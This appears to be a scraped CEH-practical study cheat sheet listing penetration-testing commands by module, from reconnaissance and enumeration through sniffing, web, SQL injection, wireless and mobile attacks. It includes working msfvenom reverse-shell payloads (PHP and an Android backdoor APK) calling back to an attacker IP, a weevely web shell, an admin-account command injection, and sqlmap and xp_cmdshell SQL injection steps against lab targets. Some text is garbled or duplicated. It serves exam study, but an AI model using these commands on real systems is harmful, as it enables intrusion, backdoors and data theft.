

<div><div></div><div><div>DNS</div><div>theHarvester -d microsoft.com -l 200 -b google -- -d specifies the domain to search, -l specifies the number of results to be retrieved, and -b specifies the data source. orsf ± domainfy.py -n eccouncil -t all -- -n (domain name), -t (type) dnssrecon -r 162.241.216.0-162.241.216.255 -- (reverse DNS) locates DNSTPTR record for the range (-r) 162.241.261.0-255.</div></div></div> <div><div></div><div><div>Social-Network</div><div>theHarvester -d "PRT Air Force" -l 200 -b linkedin -- -d specifies the domain to search, -l specifies the number of results to be retrieved, and -b specifies the data source. orsf ± usufy.py -n Mark Zuckerberg -p twitter facebook youtube -- -n [target user name or profile name] is the list of nicknames to process, -p [target platform] is(are) the target platform(s) for search. Python3 she flock.py Pedro Proenca -- find "Pedro Proenca" on diverse URLs (eg. www.google.com/pedprorenca)</div></div></div> <div><div></div><div><div>Frame size</div><div>ping www.certifiedhacker.com -f -l 1500 -- -f means no fragmentation and the -l sets the frame size. We need to adjust the size according to the replies (reply/need frag).</div></div></div> <div><div></div><div><div>Copy wordlist from site</div><div>crawl -w wordlist.txt -d 2 -m 5 www.certifiedhacker.com -- copies the result to wordlist.txt (-w wordlist.txt).</div></div></div> <div><div></div><div><div>Websites</div><div>nc -vv www.moviescope.com 80 ± GET / HTTP/1.0 -- banner grabbing telnet www.moviescope.com 80 ± GET / HTTP/1.0 -- banner grabblingskipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://10.10.10.16:8080 - test is the output directory where the result of this command will be stored in index.html in this location; the complete.wl is the dictionary file based on the web server's requirements that will be used for a brute-force attack; 10.10.10.16 is the IP of the webserver.</div></div></div> <div><div></div><div><div>Web Applications</div><div>whatweb -v www.moviescope.com whatweb --log-verbose=MovieScope_Report www.moviescope.com - this will generate a report with the name MovieScope_Report on root folder. zaproxy &gt; automated scan &gt; active scan dig +lbd yahoo.com -lbd (load balancing detector) detects if a given domain uses DNS and http load balancing via the Server: and Date: headers and the differences between server answers. It analyzes the data received from application responses to detect load balancers. wpscan --url http://10.10.10.12:8080/CEH --enumerate u - Wordpress auxiliary/scanner/http/wordpress_login_enum.m - WP password bruteforce (metasploit)</div></div></div> <div><div></div><div><div>Other tools and notes</div><div>Maltego Foca Recon-dog Netcraft.com Httprecon (web)</div></div></div>	<div><div></div><div><div>Port and Service Discovery</div><div>nmap -sT (TCP), -sU (UDP), -sS (Stealth TCP), -sA (Ack), -Pn (no host, port only), -p- (all ports), -v (verbose) portscan (ack, syn,... metasploit)</div></div></div> <div><div></div><div><div>Host and Version Discovery</div><div>nmap -A (aggressive), -sV (service version) netdiscover r&lt;IP of network/24&gt;</div></div></div> <div><div></div><div><div>OS Detection and SMB</div><div>nmap -O (OS), -sV (service version), --script smb-os-discovery enum4linux -u martin -p apple-o 10.10.10.12 -- OS Enumeration</div></div></div> <div><div></div><div><div>SMB</div><div>smb_version &gt; set RHOSTS 10.10.10.5-20 &gt; set THREADS 11 (metasploit) enum4linux -u martin -p apple-S 10.10.10.12 -- S Share Policy Information (SMB Shares Enumeration)</div></div></div> <div><div></div><div><div>Behind Firewall</div><div>-f (fragmentation scan), -Pn (no host), -g (source port), -D RND:10 (-D performs a decoy scan, RND generates a random and non-reserved IP addresses.</div></div></div> <div><div></div><div><div>Web</div><div>uniscan -u http://10.10.10.16:8080/CEH -q -- scans for web directories. 10.10.10.16 is the IP of Windows Server 2016. -u switch is used to provide the target URL. -q switch is used to scan the directories in the web sever. - we can replace the "-q" with -we for file check and -d for dynamic scan. gobuster dir -w /usr/share/wordlists/dirb/common.tx -u 10.129.216.40 nmap -sV --script=http-enum www.goodshopping.com - the target here is www.goodshopping.com</div></div></div> <div><div></div><div><div>Other tools and notes</div><div>Hping (<a href="https://adithyanak.gitbook.io/ceh-practical/">https://adithyanak.gitbook.io/ceh-practical/</a>) Nmap (<a href="https://www.stationx.net/nmap-cheat-sheet/">https://www.stationx.net/nmap-cheat-sheet/</a>) Metasploit <code>msfdb bininit + service postgresql(or restart) + msfconsole + msf &gt; db_status &gt; nmap -Pn -sS -A -oX Test 10.10.10.0/24 db_import Test hosts &gt; To show all available hosts in the subnet db nmap -sS -A 10.10.10.16 -&gt; To extract services of particular</code></div></div></div>	<div><div></div><div><div>NetBIOS Enumeration</div><div>netstat -a 10.10.10.10 -a displays the NetBIOS name table of a remote computer (here 10.10.10.10). nbstatat -c -c lists the contents of the NetBIOS name cache of the remote computer. nmap -sV --script=nbstat.nse 10.10.10.16</div></div></div> <div><div></div><div><div>SNMP</div><div>snmp-check 10.10.10.16</div></div></div> <div><div></div><div><div>NFS</div><div>rcpinfo -p 10.10.10.16 showmount -e 10.10.10.16</div></div></div> <div><div></div><div><div>DNS</div><div>dnssrecon -d www.certifiedhacker -z -- -d specifies the target domain and -z specifies that the DNSSEC zone walk be performed with standard enumeration. nslookup ± querytype = soa - sets the query type to SOA (Start of Authority) record to retrieve administrative information about the DNS zone of the target domain certifiedhacker.com. nslookup ± ls -d ns1.bluehost.com - ls -d requests a zone transfer of the specified name server (ns1.bluehost.com).</div></div></div> <div><div></div><div><div>SMTP</div><div>smtp-user-enum</div></div></div> <div><div></div><div><div>Other tools</div><div>Enum4linux enum4linux -u martin -p apple-U 10.10.10.12 -&gt; Users Enumeration enum4linux -u martin -p apple-P 10.10.10.12 -&gt; Password Policy Information enum4linux -u martin -p apple-G 10.10.10.12 -&gt; Groups Information nmap -p X -A {ip} -- scan the protocol we want Active Directory Explorer (Active Dir) NetScanTools Pro (SMB, RPC Enum).</div></div></div>		
<div><div></div><div><div>Module 8 – Sniffing</div></div></div>				
<div><div></div><div><div>Wireshark</div><div>http.request.method == "POST" -&gt; Wireshark filter for filtering HTTP POST request Capture traffic from remote interface via wireshark Capture &gt; Options &gt; Manage Interfaces Remote Interface &gt; Add &gt; Host &amp; Port (2002) Username &amp; password &gt; Start</div></div></div> <div><div></div><div><div>Detect Sniffing</div><div>nmap --script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP</div></div></div>				
<div><div></div><div><div>Module 14 – Hacking Web Applications</div></div></div>				
<div><div></div><div><div>Command Injection</div><div>  net user Test/Add &gt;   net localgroup Administrators Test /Add &gt;   net user Test&gt; remote login with the user</div></div></div> <div><div></div><div><div>File Upload metasploit</div><div>msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.13 LPOR=4444 -f raw - here 10.10.10.13 is the IP of the host machine. We can use 'LHOST=' or 'LHOST-' &gt; copy the payload to a .php &gt; Type set payload php/meterpreter/reverse_tcp and press Enter &gt; Type set LHOST 10.10.10.13 and press Enter &gt; Type set LPOR 4444 and press Enter &gt; Go to where the file is http://10.10.10.16:8080/dvwa/hackable/uploads/upload.php &gt; session might be established.</div></div></div> <div><div></div><div><div>File Upload weeveely</div><div>weeveely generate toor /home/attacker/Desktop/shell.php &gt; go to website and upload the file. &gt; session might be established</div></div></div> <div><div></div><div><div>Detect Sniffing</div><div>nmap --script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP</div></div></div>				
<div><div></div><div><div>Module 15 – SQL Injection</div></div></div>				
<div><div></div><div><div>sqlmap</div><div>sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -- cookie="cookies xxx" --dbs - SQLMAP Extract DBS sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -- cookie="cookies xxx" -D moviescope-tables - Extract Tables sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -- cookie="cookies xxx" -D moviescope -T User_Login --columns - Extract Columns sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -- cookie="cookies xxx" -D moviescope -T User_Login -dump - Dump Data sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -- cookie="cookies xxx" --os-shell - OS Shell to execute commands</div></div></div> <div><div></div><div><div>Other</div><div>blah/ or 1=1 -- Login bypass blah';insert into login values ('john','apple123'); - Insert data into DB from login blah';create database mydatabase; - Create database from login blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; -- Execute cmd from login</div></div></div>				
<div><div></div><div><div>Module 16 – Hacking Wireless Networks</div></div></div>				
<div><div></div><div><div>Aircrack-ng</div><div>aircrack-ng '/home/attacker/Desktop/Sample Captures/WEPcrack-01.cap'</div></div></div>				
<div><div></div><div><div>Module 13 – Hacking Web Servers</div></div></div>	<div><div></div><div><div>Module 20 – Cryptography</div></div></div>			
<div><div></div><div><div>Wireshark</div><div>http.request.method == "POST" &gt; Wireshark filter for filtering HTTP POST request Capture traffic from remote interface via wireshark Capture &gt; Options &gt; Manage Interfaces Remote Interface &gt; Add &gt; Host &amp; Port (2002) Username &amp; password &gt; Start</div></div></div> <div><div></div><div><div>Detect Sniffing</div><div>nmap --script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP</div></div></div>	<div><div></div><div><div>Other tools and notes</div><div>HackCalc MD5 Calculator HashMyFiles CryptoForge AlphaPeeler</div></div></div>			
<div><div></div><div><div>Module 17 – Hacking Mobile</div></div></div>	<div><div></div><div><div>Metasploit – Binary payloads</div><div>&gt; service postgresql start &gt; msfvenom -p android/meterpreter/reverse_tcp --platform android -dalvik LHOST=10.10.10.13 R&gt; Desktop/Backdoor.apk - This command creates an APK backdoor on Desktop under the Root directory. 10.10.10.13 is the IP of Parrot. &gt; share the file &gt; msfconsole &gt; use exploit/multi/handler &gt; set payload android/meterpreter/reverse_tcp and press Enter. &gt; set LHOST 10.10.10.13 and press Enter. &gt; Type show options to see if Listening port is 4444. &gt; exploit -j -z - this command will run the exploit as a background job. &gt; session -l 1 - l specifies the number of the session of the Meterpreter shell that is launched. &gt; cd /sdcard &gt; ps -- shows the running processes</div></div></div> <div><div></div><div><div>PhoneSploit – Exploit through ADB</div><div>&gt; cd PhoneSploit &gt; python3 -m pip install colorama &gt; python3 phonesploit.py &gt; 3 to connect to a new phone (type 3 until the ip add option appears) &gt; insert the ip of the phone</div></div></div>			